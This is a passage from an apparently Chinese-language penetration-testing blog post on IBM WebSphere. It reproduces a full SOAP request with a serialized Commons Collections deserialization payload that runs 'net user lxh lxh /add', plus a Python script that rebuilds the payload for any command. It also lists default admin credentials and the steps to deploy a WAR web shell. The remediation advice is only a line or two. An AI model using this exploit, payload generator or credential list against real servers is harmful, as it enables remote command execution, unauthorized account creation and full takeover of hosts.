ubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0"></SOAP-ENV:Header><SOAP-ENV:Body><ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname><operationname xsi:type="xsd:string">getUnsavedChanges</operationname><params xsi:type="ns1:[Ljava.lang.Object;">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAFW5ldCB1c2VyIGx4aCBseGggL2FkZHQABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAABB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6</params><signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature></ns1:invoke></SOAP-ENV:Body></SOAP-ENV:Envelope>

Payload執行的命令是 net user lxh lxh /add,效果如下:

如果想要更改執行的命令,可通過如下代碼,代碼在python3下執行。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
import base64from binascii import unhexlifycommand = "net user lxh lxh /add"serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")serObj += (chr(len(command)) + command).encode('ascii')serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")serObjB64 = base64.b64encode(serObj).decode()print(serObjB64)

將輸出的serObjB64,替換到上面Payload中的params節點,其餘無需改變。

  •  
<params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params>

回顯參考DeserializeExploit.jar(laster)

修復建議

7.x版本已不提供支持,因此選擇升級版本。
若版本還在IBM支持範圍,可選擇打補丁。

弱口令 && 後臺Getshell

在6.x至7.0版本,後臺登陸只需要輸入 admin作爲用戶標識,無需密碼,即可登陸後臺。常用弱口令:websphere/ websphere、system/ manager。

1、點擊WebSphere 企業應用程序,點擊安裝。

2.上傳war包,點擊下一步。

3、一直點擊下一步,直到下圖,填寫上下文根,關係到你訪問的URL,接着一直點下一步直到安裝完成

4、安裝完成之後,點擊保存主配置,然後回到WebSphere 企業應用程序,選中war包啓動,訪問shell。

修復建議:設置密碼。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章